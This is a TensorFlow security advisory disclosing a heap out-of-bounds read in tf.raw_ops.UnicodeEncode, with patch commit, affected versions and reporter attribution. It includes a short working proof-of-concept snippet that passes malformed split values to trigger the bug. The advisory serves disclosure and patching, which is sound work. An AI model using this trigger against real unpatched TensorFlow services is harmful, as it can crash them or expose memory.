Heap OOB access in unicode ops
### Impact
An attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`:
```python
import tensorflow as tf
input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"
tf.raw_ops.UnicodeEncode(
input_values=input_values, input_splits=input_splits,
output_encoding=output_encoding)
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/472c1f12ad9063405737679d4f6bd43094e1d36d/tensorflow/core/kernels/unicode_ops.cc
assumes that the `input_value`/`input_splits` pair specify a valid sparse tensor.
### Patches
We have patched the issue in GitHub commit 51300ba1cc2f487aefec6e6631fef03b0e08b298
https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.